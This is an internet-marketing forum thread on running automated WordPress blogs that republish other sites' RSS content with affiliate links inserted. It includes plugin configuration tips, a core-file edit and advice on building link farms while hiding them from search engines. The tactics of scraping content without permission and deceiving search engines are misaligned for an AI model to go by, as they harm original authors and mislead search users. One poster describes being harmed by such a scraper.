        Originally Posted by davo View Post

        Guru:

        If you are using either of the two Cron options (Simplified and Traditional Unix format) from within Cpanel, there is a space for you to enter your email address.

        Place your email in there, and Cron will sent you an email every time it triggers the command you set.

        It is great for debugging, and making sure Cron is working okay.

        When you are sick of getting the emails, log back in thru Cpanel and remove the email address from the form.

        Cheers,
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        Hi KK and Davo,

        Thanks for your reply..
        I am not running cron job in cpanel ( as I was not even knowing about this but after Davo mentioned above I went and checked in cpanel and its looks very easy in cpanel also )

        I am running cron using utopia pluin and I am putting this URL there ..

        hxxp://domainname.c0m/testblog2/wp-content/plugins/wp-o-matic/cron.php?code=9d657412


        and then putting 15m ( just to check if i can get feeds else I can understand i should put there long period )


        I think i have to put same URL in cpanel cron area also if i want to use that option instead of utopia..

        is there any way to run cron job once and it will just fetch post from one campaign feed and leave other campaign feed alone without fetching any feed from them?

        Thanks

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  • Profile picture of the author Allegro
    oh boy, when i break through one wall, the next one - even bigger - is waiting for me...

    so, every eight hours is post added to my blog - so far, so good!
    i added the keywords that should be linked as regular expressions via the format (keyword1|keyword2|keyword3|...|keyword20) in wp-o-matic, and the new post should have some links in it... but it hasnt!
    keith, do you add every keyword into a seperate box or do you use the RegEx function?

    Well, when i finally work this stuff out i will make a report/ebook out of it lol.
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  • Profile picture of the author Evita
    Uh.oh...

    All of a sudden when you click on the headline of the post on my homepage it takes you directly to the original article. It does not link to my own internal page.
    I must have changed something but an hour of searching haven't given me where I went wrong..... help??

    How do we link to the original article as well as our own internal page? Which we should be, correct? (Linking to the original article)

    How can we have the outgoing links to original articles nofollow and links to our own sites, or links that we have sold as dofollow?

    If we don't do a nofollow on all those links linking back to the original article we will be leaking a ton of PR juice.

    I also set to fetch 7 posts, but ended up getting 65!!

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Guru View Post

      1) getting rss feed provider which will provide long ( atleast 15-20 lines ) content. but as you suggested I should look more and I should be able to find that on google.

      I tired so far yahoo feed, google news feed, google blog feed, ezinearticles.com feeds but i will look at more places and try to find good feeds.
      They're out there - and if you have trouble finding them for your keywords, there are a couple of things that *may* work for you. First, if you're finding relevant content in the news feeds, try going directly to the source and pulling feeds from there. Also, if you can't find longer content for your keywords, try to find content from your broader niche and see if doing a word replacement makes sense. For example, you can generally replace the phrase "losing weight" with "weight loss" and it will still make sense. Be careful with this though, because you'll need to keep an eye on your content in case your replacements DON'T make sense - it's an obvious indicator that you're an automated blog. For longer content, try rss mountain and content4reprint mentioned above, too.

      Originally Posted by Guru View Post

      2) Second major problem is updating the blog using wp-o-matic using word press/cron etc..

      In one of my test blog I used WP-o-matic internal function for cron job ( unix base ) I just clicked on the check box ( which was there ) and after that it should be doing itself ( I guess )
      To be clear, the unix cron checkbox must be UNCHECKED to attempt using the Wordpress loop to run the update. I think this is why it wasn't working for you in this scenario. It fetches the first time you set up any campaign, but if the cron isn't firing, you won't get any additional updates.

      Originally Posted by Guru View Post

      Now after it didn't work I started new blog and didn't do that unix based cron in WPOP and install utopia cron plugin. and asked it to read my cron page every 15 minutes to fetch 2 rss feed and post in the blog but even after few hours only post I got, which I fetched at the time of creating campaigns.. ( so same problem )
      Hmm. That's more frequently than I update, but it should still work. If your blog doesn't
      get any traffic yet, you need to visit your blog yourself to get it to fire. Once you have traffic and spiders coming in, it'll just fire itself. Sorry you're having such trouble with it. Perhaps try one of the other alternative methods mentioned in the post if you're having problems.

      Originally Posted by Allegro View Post

      oh boy, when i break through one wall, the next one - even bigger - is waiting for me...

      so, every eight hours is post added to my blog - so far, so good!
      i added the keywords that should be linked as regular expressions via the format (keyword1|keyword2|keyword3|...|keyword20) in wp-o-matic, and the new post should have some links in it... but it hasnt!
      keith, do you add every keyword into a seperate box or do you use the RegEx function?

      Well, when i finally work this stuff out i will make a report/ebook out of it lol.
      I don't know how to do regular expressions, so I do each keyword separately. I keep meaning to learn and experiment with that feature though. Let me know if you get it working. Also, you can just wait until I complete MY report and be an affiliate. I'm much prefer that than having you steal my ideas and make a report of your own. It doesn't make me really inclined to help you out if you tell me that, dig?

      Originally Posted by Evita View Post

      Uh.oh...

      All of a sudden when you click on the headline of the post on my homepage it takes you directly to the original article. It does not link to my own internal page.
      I must have changed something but an hour of searching haven't given me where I went wrong..... help??

      How do we link to the original article as well as our own internal page? Which we should be, correct? (Linking to the original article)

      How can we have the outgoing links to original articles nofollow and links to our own sites, or links that we have sold as dofollow?

      If we don't do a nofollow on all those links linking back to the original article we will be leaking a ton of PR juice.

      I also set to fetch 7 posts, but ended up getting 65!!

      Evita
      There's a setting in the campaign configuration - I believe a checkbox - for making your titles link back to your own post instead of the original. Just make sure you have that configured correctly.

      If you're wanting to nofollow all external links, there are plugins for that. I haven't tested this one, but it will likely work for what you want:

      External Links Plugin For WordPress

      Generally speaking though, I haven't had to do this. Although again, I'm not a PR expert and am trying to learn more so I can apply it to the technique.

      Hope that helps!
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  • Profile picture of the author Allegro
    the "fetch" number is on a per feed basis. so if you have 9 feeds, you would get your 63 postings.

    and for the titles: go to your campaigns tab, edit your current campaign, switch to the options tab and scroll down. uncheck "Post title links to source?".
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  • Profile picture of the author jbreezy
    I installed Wordpress via Fantastico into a subdomain on my Lunar Pages server and when I go to add a new post nothing shows up. What am I doing wrong?
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    • Profile picture of the author Keith Kogane
      Originally Posted by jbreezy View Post

      I installed Wordpress via Fantastico into a subdomain on my Lunar Pages server and when I go to add a new post nothing shows up. What am I doing wrong?
      I can't tell because you haven't given me enough information to know what part you're stuck at. Try to be more specific and I'll help you as best I can.
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      • Profile picture of the author Alminc
        I discuss the IP problem on my IM blog. Go to the hosting page and see. I use HE because they give me 16 domains with 16 unique IPs.

        TomG.
        I know that I can get 10 IP adresses for $67/month at seohosting.com.
        There are similar prices everywhere else.

        How much are you paying for 16 IPs ? Is that a package, or is it your personal deal with them at HE ?

        Almin
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        • Profile picture of the author Alminc
          Plugins GoCodes and W-P-O-Matic don't work with
          explorer in admin, firefox is required.

          Is it only admin part , or don't they work at all
          with explorer, even on the front side ?
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          • Profile picture of the author Keith Kogane
            Originally Posted by Alminc View Post

            Plugins GoCodes and W-P-O-Matic don't work with
            explorer in admin, firefox is required.

            Is it only admin part , or don't they work at all
            with explorer, even on the front side ?
            It must only be the admin part - my sites look fine in FF and IE - honestly though, I only use FF and never bother to do any admin or setup in IE - I just check the live sites to see that they work. With my versions of both browsers, the blogs themselves are just fine.

            I don't see how the function of the plugins would be limited by IE, anyways. As a marketer, you should be using FF. However, you should make sure your IE users can see your stuff, too!

            But don't fret - I just conducted a test to double check, and for the user, both plugins work 100% with IE or FF. (At least the versions I have).

            Hope that helps, and sorry for the confusion!
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  • Profile picture of the author Allegro
    keith, the lol at the end was supposted to mark it as a joke. i'm really bad at writing, so i never would do an ebook
    but im going to be your affiliate when i set up an automated blog in the make money online niche, just pm me here on the board
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  • Profile picture of the author jbreezy
    keith -

    basically i have a subdomain where I want to host a blog. i installed wordpress via my control panel with fantastico and got to my WP Admin panel and write a post. Then I go to write a blog entry and it doesn't show up.
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    • Profile picture of the author Keith Kogane
      Originally Posted by jbreezy View Post

      keith -

      basically i have a subdomain where I want to host a blog. i installed wordpress via my control panel with fantastico and got to my WP Admin panel and write a post. Then I go to write a blog entry and it doesn't show up.
      I don't put WP onto subdomains, so I don't really have any insight into why the posts aren't showing up. Are you hitting "Publish" or just "Save" when you compose a post?

      Sorry you're having trouble. Hope I can help sort it out.
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  • Profile picture of the author danto2
    Keith:
    Your business model sounds great, but way over my head. I wonder if you and I can exchange specialties. Mine is Income Taxes (former Revenue Agent) and Real Estate (Recently purchased home..full price $11k and rented it for $650) Can show you how if you help me with internet marketing.
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    • Profile picture of the author Keith Kogane
      Originally Posted by danto2 View Post

      KEITH:
      I AM NEW TO WARRIOR. I AM A CONSULTANT FOR REAL ESTATE AND TAXES AND I WOULD LIKE TO EXCHANGE YOUR IDEAS FOR ONLINE BUSINESS FOR MY EXPERTISE ON REAL ESTATE.
      FOR EXAMPLE..MY WIFE AND I JUST PURCHASED A SINGLE HOME IN DAYTON OH FOR $11K AND RENTED IT OUT FOR $650 A MONTH.
      Originally Posted by danto2 View Post

      Keith:
      Your business model sounds great, but way over my head. I wonder if you and I can exchange specialties. Mine is Income Taxes (former Revenue Agent) and Real Estate (Recently purchased home..full price $11k and rented it for $650) Can show you how if you help me with internet marketing.
      Sorry Robert, I'm not interested in your colorful offer at this time. Thanks, though!
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      • Profile picture of the author Alminc
        Keith,

        How many keywords and in what format do you put
        into w-p-o-matic.

        In Add Campaign/Rewrite there is option to use boxes
        separately for each keyword and url, but the help file also says:

        Regular expressions

        For advanced users, regular expressions are supported. Using this will allow you to make more powerful replacements. Take multiple word replacements for example. Instead of using many rewriting boxes to replace ass and arse with butt, you can use the | operator: (ass|arse).

        Say I wanto link 20 different keywords to 20 different urls, how shell I do?

        Shell I use 20 boxes separately for each keyword, or shell I use 'regular
        expressions'? I am confused about using regular expressions option
        since the help file only gives instructions for keywords but not for urls.

        If you are using regular expressions can you give me one example how to
        do it?

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        • Profile picture of the author Keith Kogane
          Originally Posted by Alminc View Post

          Keith,

          How many keywords and in what format do you put
          into w-p-o-matic.

          In Add Campaign/Rewrite there is option to use boxes
          separately for each keyword and url, but the help file also says:




          Say I wanto link 20 different keywords to 20 different urls, how shell I do?

          Shell I use 20 boxes separately for each keyword, or shell I use 'regular
          expressions'? I am confused about using regular expressions option
          since the help file only gives instructions for keywords but not for urls.

          If you are using regular expressions can you give me one example how to
          do it?

          Almin
          I set up mostly with a single keyword/phrase per campaign, so I'll have maybe 3-5 link-based replacements max, but only if there are some closely related ones that make sense. Most of the time it's 1 to 1. 1 keyword, 1 campaign, 1 link.

          However, there's no particular rhyme or reason I do it that way, it's just how I've gotten into the habit of doing it for now. I don't think it matters overall as long as you're not packing a single post full of links to tons of different places. Just try to keep it focused and looking like a real person is making the blog. I mean, you ARE a real person, but you know what I mean.

          As far as the regular expression feature, as I explained above, I don't know how to do them, so I don't. I just do one word per box, and that works just fine.

          Hope that helps!
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          • Profile picture of the author Alminc
            Thanks Keith, that makes sense. It shouldn't
            look like keyword staffing.


            I have another questions about plugins.

            What typical set of plugins are you using for
            each blog? (wpomatic, gocodes, + .......)

            Also, are you installing your blogs on different C-class IPs?
            What would be good distribution of blogs over different IPs?
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  • Profile picture of the author Fernando Veloso
    Hi all, this is my first post in WF (didn't saw Introduction) so hi everybody!

    All right, i saw this thread while surfing around and tested it but i have one problem.

    The feeds from Google News doesn't work. Others do, but those from G doesn't. It fetches the data correctly from other places but the G ones simply don't work.

    Maybe i don't use the correct path?

    Thanks guys and a huge thank you to Keith
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    • Profile picture of the author Keith Kogane
      Originally Posted by Alminc View Post

      Thanks Keith, that makes sense. It shouldn't
      look like keyword staffing.


      I have another questions about plugins.

      What typical set of plugins are you using for
      each blog? (wpomatic, gocodes, + .......)

      Also, are you installing your blogs on different C-class IPs?
      What would be good distribution of blogs over different IPs?
      No problem! As for your other questions:

      1. For these kinds of blog, there's no "typical" set of plugins except for the core ones that run the system. Throughout the thread here I've mentioned a couple more that I use regularly, but there's no set standard. The only one I can think of that I install every time is the Lighter Admin Menus, but that's just to make the backend quicker to work with.

      Then there are common goals I want to accomplish, but I don't always use the same method - like, I commonly use an SEO plugin, but not always the same one. Sometimes I use Headspace, sometimes, All in One SEO. Frequently I use an auto-tagger, but there are a couple I've tried and all work fine.

      As part of my project of expanding and detailing this method, I'm going to include a list of plugins that I use, and that should be useful for marketing purposes, but as for right now, I don't have a standard set. In fact, I could probably do this a lot faster if I did get a core set and something like WP-Cloner or similar.

      In the meantime, if you have a question about a particular plugin, or a particular goal you want to know if there is a plugin for, I can probably be of more help.

      For your other question about IPs, I haven't bothered with that. Most of my blogs were started by me, and I'd say almost all of them are on the same deluxe hosting account, and likely all on the same server (I'm not that techie, but that seems like a likely guess).

      Now if I were building a blog farm and cross-linking these, I probably WOULD want them moved elsewhere (or started elsewhere). Or if I was selling links or posts on them as a whole network, I'd want to eliminate as much physical relationship between the blogs as possible. But as it stand now, any link agreements I have are for one customer/one link/one site, so I'm not likely to be picked up as a link-seller.

      The IP footprint is about not having all your backlinks coming from the same sites. With my method, your backlinks are coming in from outside, which is how a real site is supposed to behave.

      Should I be using different accounts and IPs and all that? Maybe, but so far, it hasn't stopped anything from working. Would it be working better? Can't say - never tried it.

      If you WANT to build a link farm/blog network strictly for selling links/posts, the easier way to go about it is to just buy existing stale, dead WP installs (or any kind of site, really) off bored site owners, and then drop my method in on top of them, and keep the same hosting as the original owner. That way there's no wasted effort looking for a ton of hosts so you can start at zero. Instead, you'll spend your research time finding blogs who have attributes that will help your network perform (old domains, existing cache, pre-indexed, etc.) and kill two birds with one stone. You'll end up with differentiated IPs as a side effect of using that method, and still get the bunch of blogs you want.

      Hope that advice helps those wanting to go that route.

      Originally Posted by scubita View Post

      Hi all, this is my first post in WF (didn't saw Introduction) so hi everybody!

      All right, i saw this thread while surfing around and tested it but i have one problem.

      The feeds from Google News doesn't work. Others do, but those from G doesn't. It fetches the data correctly from other places but the G ones simply don't work.

      Maybe i don't use the correct path?

      Thanks guys and a huge thank you to Keith
      I don't have trouble pulling from Google News, but if you do, try different feeds. There are plenty of others to work with. In the support forums for WP-O-Matic, there are a few people who have had trouble pulling from GNews as well, but it's not an issue that's been resolved.

      When you say "the G ones simply don't work" can you be more specific? If I know how it's failing I can *maybe* be of more help.

      Thanks for your interest!
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  • Profile picture of the author richfit
    Great post! How about automating content? You can use WordPress Direct instead of using regular Word Press and begin automating content or dripping content over time using PLR articles or outsourced articles written for you over time.

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    • Profile picture of the author Keith Kogane
      Originally Posted by richfit View Post

      Great post! How about automating content? You can use WordPress Direct instead of using regular Word Press and begin automating content or dripping content over time using PLR articles or outsourced articles written for you over time.

      Bryan Dulaney
      I hadn't heard of WordPress direct before, but I'll check it out and include it for review in my more detailed writeup. I'd hoped to have it done by this weekend, but work proceeds slowly. (Not too slowly though!)

      Thanks for the tip!
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      • Profile picture of the author jbreezy
        nm i figured it out. i'm getting some really short posts though. now i just gotta figure out GoCodes and a few other things and i'll be good.
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  • Profile picture of the author jbreezy
    having trouble finding feeds. my niche is finance info. how do i find the corresponding feeds that will auto update to my blog. right now it's a bunch of gibberish!
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  • Profile picture of the author Evita
    OK,

    So I'm intent on not leaking a bunch of PR juice.

    How would this work?

    The plugin "nofollow reciprocity" comes loaded with around 1000 sites that will
    automatically make the link a nofollow to those sites.

    Now, you can add to the url's to include for instance clickbank.net

    So, how easy would'nt it be to include the url's of our feeds? Saving a ton of link juice. Links to our main site, or to the site of a link buyer (is there such a term?) would then automatically be a dofollow.

    Anyone see any holes in this let me know, please.

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      OK,

      So I'm intent on not leaking a bunch of PR juice.

      How would this work?

      The plugin "nofollow reciprocity" comes loaded with around 1000 sites that will
      automatically make the link a nofollow to those sites.

      Now, you can add to the url's to include for instance clickbank.net

      So, how easy would'nt it be to include the url's of our feeds? Saving a ton of link juice. Links to our main site, or to the site of a link buyer (is there such a term?) would then automatically be a dofollow.

      Anyone see any holes in this let me know, please.

      Evita
      I haven't used that plugin, but if I read it right, it automatically nofollows several prominent websites that don't really need the backlink love, and who don't actually reciprocate, correct?

      And what you're suggesting is adding your own internal links so you nofollow yourself?

      The real way to do what you're talking about is work with your templates and widgets in order to hard-code the nofollow in there if you don't want to leak PR internally. There may be a plugin that helps with this (nofollowing your own internal structure properly) but I haven't looked into it.

      However, it's *possible* your method would work. It depends on the way the plugin was coded - if it will apply itself to ALL content including your template (doubtful) or if it only applies to your content (not really useful).

      But try it out and see! There's only one way to know for sure and that's to TEST!

      I'll add this to my list of things to investigate, too. Thanks for the idea!
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      • Profile picture of the author Evita
        Originally Posted by Keith Kogane View Post

        I haven't used that plugin, but if I read it right, it automatically nofollows several prominent websites that don't really need the backlink love, and who don't actually reciprocate, correct?

        And what you're suggesting is adding your own internal links so you nofollow yourself?
        No, my thought was to add the url's of the rss feeds, or the sites the feeds are pulled from,I guess, to that list. That way we won't have 27 outgoing links when we pull 27 new posts from those feeds.

        Our only outgoing links will be to our main site, if we feed to one, or to the site of a paid link.

        Evita
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  • Profile picture of the author astoneuab
    I have a few blogs that follow a similar methodology. It's nice to get some "auto-pilot" income haha. Mine do well with adsense
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  • Profile picture of the author MalachaiGoodman
    So let me make sure I understand this.

    1.) We duplicate a bunch of other people's content by automatically soaking it up off their RSS feed.

    2.) We monotize that content (which the original author may have been trying to do with their own Affiliate Links / Adsense) by automatically ramming our affiliate links into specific keywords.

    3.) As an added bonus, since we're building some nice PR there's a good chance our duplicated article will outrank the original author's article on Google.

    I'm hoping that there's something I'm missing here... Am I correct about the basic business model here?

    Sounds like a great idea! I'm off to find some cheap hosting!
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    • Profile picture of the author Keith Kogane
      Originally Posted by MalachaiGoodman View Post

      So let me make sure I understand this.

      1.) We duplicate a bunch of other people's content by automatically soaking it up off their RSS feed.

      2.) We monotize that content (which the original author may have been trying to do with their own Affiliate Links / Adsense) by automatically ramming our affiliate links into specific keywords.

      3.) As an added bonus, since we're building some nice PR there's a good chance our duplicated article will outrank the original author's article on Google.

      I'm hoping that there's something I'm missing here... Am I correct about the basic business model here?

      Sounds like a great idea! I'm off to find some cheap hosting!
      Well, if you read the whole thread, you see several places where I advise on methods to add more value. It's not about just recycling content and making a spam blog. If you do this right, you can actually make a site that's:

      A. Useful to the niche market - as a content aggregator you make it easier for people to find what they like in one place.

      B. Useful to the sites you're syndicating - don't forget, my method includes backlinks to the original site AS WELL as to my own. These get re-syndicated by me. I'm probably building them way more backlinks than they do on on their own. Especially since I link to them frequently, and am going to go up in PR, they get the benefit of that, too.

      C. Profitable for me (this is just a nice side effect of working with the method to make a DECENT site rather than just a splog.

      And of course even though this is automated, you SHOULDN'T ignore it. Put contact info and a real profile on there. I'm not advising "pulling one over" or anything. You should run these sites in the open. I don't run full length content - I run snippets. I always link back to the original source. I even leave those links "dofollow"ed. (Now, others have asked how to do these things and I've advised them, but I've always clarified what I do myself in these cases - those are variations on my method, not actually included in my version.)

      The way I like to think of it (whether this is justified is up to you) is that I'm marketing someone else's content for them (admittedly without permission, but using a resource THEY provide) and as a "fee" for that, I piggy-back my own stuff with it.

      Most people that use blog automation DO use it the way you describe. I started out that way too, trying to build sites just for passive Adsense. Instead, I'm talking about actually making a new thing with that content, a thing that has value in and of itself. You can build decent, even GOOD sites with this. Use the power of automation to build the *right* kind of blog. It takes only slightly more effort than making a crappy splog, and has exponentially greater value and benefit.

      But you can do it your way too. Just probably not so good for the karma.

      Let me know if that clarifies things for you.
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      • Profile picture of the author MalachaiGoodman
        Originally Posted by Keith Kogane View Post

        Well, if you read the whole thread, you see several places where I advise on methods to add more value. It's not about just recycling content and making a spam blog. If you do this right, you can actually make a site that's:

        A. Useful to the niche market - as a content aggregator you make it easier for people to find what they like in one place.

        B. Useful to the sites you're syndicating - don't forget, my method includes backlinks to the original site AS WELL as to my own. These get re-syndicated by me. I'm probably building them way more backlinks than they do on on their own. Especially since I link to them frequently, and am going to go up in PR, they get the benefit of that, too.

        C. Profitable for me (this is just a nice side effect of working with the method to make a DECENT site rather than just a splog.

        And of course even though this is automated, you should ignore it. Put contact info and a real profile on there. I'm not advising "pulling one over" or anything. You should run these sites in the open. I don't run full length content - I run snippets. I always link back to the original source. I even leave those links "dofollow"ed. (Now, others have asked how to do these things and I've advised them, but I've always clarified what I do myself in these cases - those are variations on my method, not actually included in my version.)

        The way I like to think of it (whether this is justified is up to you) is that I'm marketing someone else's content for them (admittedly without permission, but using a resource THEY provide) and as a "fee" for that, I piggy-back my own stuff with it.

        Most people that use blog automation DO use it the way you describe. I started out that way too, trying to build sites just for passive Adsense. Instead, I'm talking about actually making a new thing with that content, a thing that has value in and of itself. You can build decent, even GOOD sites with this. Use the power of automation to build the *right* kind of blog. It takes only slightly more effort than making a crappy splog, and has exponentially greater value and benefit.

        But you can do it your way too. Just probably not so good for the karma.

        Let me know if that clarifies things for you.
        I understand where your coming from...

        A while back I started a niche blog and really put my heart and soul into it. If I create a piece of content I generally take great pride in it. I obsess over every word. I want to be as clear as possible.

        The issue was that every time I made a post an annoying Splogger copied it. My blog was young (approximately 3 months old). I was really trying to build momentum. Unfortunately, the Splog always seemed to have a better PR than I did.

        In other words, I did all the work and the Splogger ate my lunch. That got old.

        Eventually I gave up, deleted my site, and let the domain expire. Soon after the Splog went down too. I'm guessing one of the other people he was ripping off got to him.

        In retrospect there's a lot I should have done differently. I should have tried to outlast the splogger, built strong backlinks, and possibly approached Google about the problem. I had little to no understanding of SEO though and honestly felt helpless. I got burned on IM for a long while.

        I can appreciate the difference in what your doing. Only pulling excerpts, providing backlinks, adding value, etc... I'm still not sure how I feel about it, but it's ultimately your business. I can appreciate that you're at least trying to be ethical about your approach.

        ;-)
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        • Profile picture of the author jbreezy
          i can't find my .htaaccess file for Wordpress. I have several other .htaaccess files on my hosting server but none that have the Wordpress plugin. Therefore I can't get GoCodes to run properly.

          Anyone have any advice?
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          • Profile picture of the author Vshep
            Originally Posted by jbreezy View Post

            i can't find my .htaaccess file for Wordpress. I have several other .htaaccess files on my hosting server but none that have the Wordpress plugin. Therefore I can't get GoCodes to run properly.

            Anyone have any advice?
            You should be able to paste the GoCodes info into the one that's at the base of your domain. Ie domain.com and not domain.com/somewhere_else. If it does not work there try one in your word press install directory. It does not matter if it does not have the word press lines. If a .htaaccess file isent there just make one, just take a normal text file rename it as .htaacess and upload it.

            This should work for most of the time but as each hosting / person has thier files set up differently it may not work for everyone.
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            • Profile picture of the author jbreezy
              Originally Posted by Vshep View Post

              You should be able to paste the GoCodes info into the one that's at the base of your domain. Ie domain.com and not domain.com/somewhere_else. If it does not work there try one in your word press install directory. It does not matter if it does not have the word press lines. If a .htaaccess file isent there just make one, just take a normal text file rename it as .htaacess and upload it.

              This should work for most of the time but as each hosting / person has thier files set up differently it may not work for everyone.
              Okay, I'll try that. I don't think the one at the root directory is doing anything because i'm not getting any links.
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              • Profile picture of the author Tim Dixon
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                • Profile picture of the author Keith Kogane
                  Originally Posted by jbreezy View Post

                  i can't find my .htaaccess file for Wordpress. I have several other .htaaccess files on my hosting server but none that have the Wordpress plugin. Therefore I can't get GoCodes to run properly.

                  Anyone have any advice?
                  Originally Posted by Vshep View Post

                  You should be able to paste the GoCodes info into the one that's at the base of your domain. Ie domain.com and not domain.com/somewhere_else. If it does not work there try one in your word press install directory. It does not matter if it does not have the word press lines. If a .htaaccess file isent there just make one, just take a normal text file rename it as .htaacess and upload it.

                  This should work for most of the time but as each hosting / person has thier files set up differently it may not work for everyone.
                  Originally Posted by jbreezy View Post

                  Okay, I'll try that. I don't think the one at the root directory is doing anything because i'm not getting any links.
                  Originally Posted by Tim Dixon View Post

                  That's very odd. Wordpress's index.php and .htaccess files should be together in the directory indicated by the Blog address (URI) setting on your General Options page.

                  Just had a thought though, have you enabled Permalinks from your WP control panel? I may be wrong but unless you've changed it from the default, it wouldn't necessarily have generated a .htaccess file

                  Tim
                  jbreezy, based on this exchange and the exchange I had with you via PM, one of these solutions has got to work for you. If you'd done as I suggested and just pasted in the code to all of the .htaccess files you see, it would have worked. The code you need to paste in will have no effect if you paste it in the wrong file. If you paste it, test it, (if it works good, if not try the next one) - you'd be done. Hope that helps you resolve your issue.
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                • Profile picture of the author Keith Kogane
                  Originally Posted by Alminc View Post

                  Keith ( and others using wpomatic),

                  Here is the solution for eliminating duplicate posts.
                  This works not only for wpomatic, but for all duplicate
                  posts.

                  For wp 2.6.x :

                  Open the file /wp-includes/post.php

                  and find this code on line 1333:

                  if ( || in_array(, ) ) {
                  = 2 ;

                  and replace =2; with return 0;


                  Save the file.

                  Now when wordpress detects a duplicate post it will not
                  post it, duplicate posts are ignored.

                  Try to post manually two identical posts, you will see
                  that only one post is published, even if it says in admin that
                  both posts are posted.


                  Almin
                  That's pretty bad ass right there. I found a solution myself (this may actually be the same one) - what happens is only the first post with a given subject line will be published. All duplicates are saved as drafts and not published. Which is fine, you just need to be aware that all your posts need to have unique titles when you make this adjustment (which is not often a problem).

                  Originally Posted by Allegro View Post

                  haha i had the same thing with my links (that the url gets ****ed up)... also, dont keyword the trigger for gocodes, else the gocodes url will be posted with the keyword linked rofl...

                  i think i will use that blog to toy around with the tools and to experiment and take a more serious approach on the next blog i create... i think im going to do one blog a week - one blog per weekend starting in december or january...
                  Yeah, good catch. These are the kinds of bugs I need to notice and catch in the more detailed version. Thanks for pointing that out! As for your goal, kick ass! Best of luck to you. I think your goal is easily achievable and please keep me posted as you move along. I'd love to see where you end up with things. Of course I'm happy to help along the way if you get stuck. Just let me know!

                  Originally Posted by Tim Dixon View Post

                  That's very odd. Wordpress's index.php and .htaccess files should be together in the directory indicated by the Blog address (URI) setting on your General Options page.

                  Just had a thought though, have you enabled Permalinks from your WP control panel? I may be wrong but unless you've changed it from the default, it wouldn't necessarily have generated a .htaccess file

                  Tim
                  Again, great catch - I'll test to see if this is true. You *should* alter the default permalink structure anyway, but this is another "glitch" that I need to address in my more detailed writeup, so thanks again for pointing it out, Tim!
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                  • Profile picture of the author jbreezy
                    ok heres the recap

                    i've got the word foreign exchange as one of my "rewrites" in WP-O-Matic and then I've got my hop link on there.

                    i've got "forexreviewtodaygoforeign-exchange" typed in GoCodes and I've all the code in my .htaaccess files.

                    i'm a little foggy on the permalink thing...how do i enable them?

                    i'm also getting this error message with WP-O-Matic

                    "Image cache path /home/knock4/public_html/forexreviewtoday/wp-content/plugins/wp-o-matic/cache is not writable!"
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            • Profile picture of the author Mrs S
              Originally Posted by Vshep View Post

              You should be able to paste the GoCodes info into the one that's at the base of your domain. Ie domain.com and not domain.com/somewhere_else. If it does not work there try one in your word press install directory. It does not matter if it does not have the word press lines. If a .htaaccess file isent there just make one, just take a normal text file rename it as .htaacess and upload it.

              This should work for most of the time but as each hosting / person has thier files set up differently it may not work for everyone.
              Hi - I'm on hostgator and used the htaccess file in the subdomain. Do I need to put it in the root instead? Also I saw the amend to the code to put it in a folder - ie domain/blog but what do I do if my domain is a sub domain?

              I'm new to sub domains and am finding them kind of confusing!

              UPDATED

              I figured out the problem - when I pasted the code into the .htaccess it put it all on one line. I just went in and put it on two lines as it appears in this thread and it now works.

              Thanks
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          • Profile picture of the author Alminc
            Keith ( and others using wpomatic),

            Here is the solution for eliminating duplicate posts.
            This works not only for wpomatic, but for all duplicate
            posts.

            For wp 2.6.x :

            Open the file /wp-includes/post.php

            and find this code on line 1333:

            if ($post_name_check || in_array($post_name, $wp_rewrite->feeds) ) {
            $suffix = 2 ;

            and replace $suffix=2; with return 0;


            Save the file.

            Now when wordpress detects a duplicate post it will not
            post it, duplicate posts are ignored.

            Try to post manually two identical posts, you will see
            that only one post is published, even if it says in admin that
            both posts are posted.


            Almin
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            No links :)
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            • Profile picture of the author eficker
              Keith: Great work and thanks for giving this away. I am already waist deep in a few blogs with this model and am excited for where it will go.

              My question:

              Is there anyway to prevent WP-o-matic from parsing and rewriting html links as they come in from the feeds?

              Seems like an nicely constructed "if" statement would work right here:

              // Rewrite
              $rewrites = $this->getCampaignData($campaign->id, 'rewrites');
              foreach($rewrites as $rewrite)
              {
              $origin = $rewrite['origin']['search'];

              if(isset($rewrite['rewrite']))
              {
              $reword = isset($rewrite['relink'])
              ? '<a href="'. $rewrite['relink'] .'">' . $rewrite['rewrite'] . '</a>'
              : $rewrite['rewrite'];

              if($rewrite['origin']['regex'])
              {
              $content = preg_replace($origin, $reword, $content);
              } else
              $content = str_ireplace($origin, $reword, $content);
              } else if(isset($rewrite['relink']))
              $content = str_ireplace($origin, '<a href="'. $rewrite['relink'] .'">' . $origin . '</a>', $content);
              }

              return $content;
              }

              In my case there is usually a keyword in there and it pulls the link out of the code and puts in into plain text in the post making a mess.

              TIA
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              • Profile picture of the author Alminc
                Keith,

                Can you recommend a good plugin/widget that enables
                and lists category specific feeds?

                It would be good to have it on a private blog in order to
                build themed feeds for 'money' blogs.

                Almin
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                No links :)
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        • Profile picture of the author Keith Kogane
          Originally Posted by Vshep View Post

          I was testing WP-o-Matic to grab the feeds and replace the words with links and so on. The trouble started when I also started to include a "Go to source" in the Custom post template section and had WP-o-Matic set up to auto link to the source. This was fine for the most part till one of the words I set up a relink for was ALSO in the source address for the RSS feed.

          I went from a nice "Go to Source" link that worked to something that looks like this:

          NFL/news/story?id=3723327&campaign=rss&source=NFLHeadlines" >Go to Source

          Seems the re-linker also works on the out put of the Custom post template box.

          Here is how I fixed, well worked around it would be the better term. The Cross-linker plug in listed earlier in the thread. The down side is that you cant set it per Campaign, it seems to be site wide or nothing for the most part. On the plus side it works on both the old and new posts. WP-o-Matic only works for the posts fetched AFTER you add a relink word to the Campaign. So its a toss up.

          Anyway hoped it helped someone.
          Good job finding the workaround! Also, you could probably mitigate that using regular expressions for the WP-O-Matic replacements. However, I'm not familiar enough with that to teach 'em. I'm working on an "advanced" guide that has some special information for people that intend to build a bunch of automated blogs that will help overcome the problems you describe here. Still testing though, so I don't want to advise something that may not work.

          Originally Posted by Evita View Post

          No, my thought was to add the url's of the rss feeds, or the sites the feeds are pulled from,I guess, to that list. That way we won't have 27 outgoing links when we pull 27 new posts from those feeds.

          Our only outgoing links will be to our main site, if we feed to one, or to the site of a paid link.

          Evita
          If that's what you want to do, I'd recommend using this one instead: External Links Plugin For WordPress

          It does what you're describing (nofollow on all external links) but also adds a couple of other features that differentiate external links from internal links. It seems less complicated to use than what you want to do.

          Originally Posted by vicone View Post

          There are some comments on another thread which appear to have relevance here:



          The thread is here:

          http://www.warriorforum.com/main-int...rss-feeds.html

          Ivan
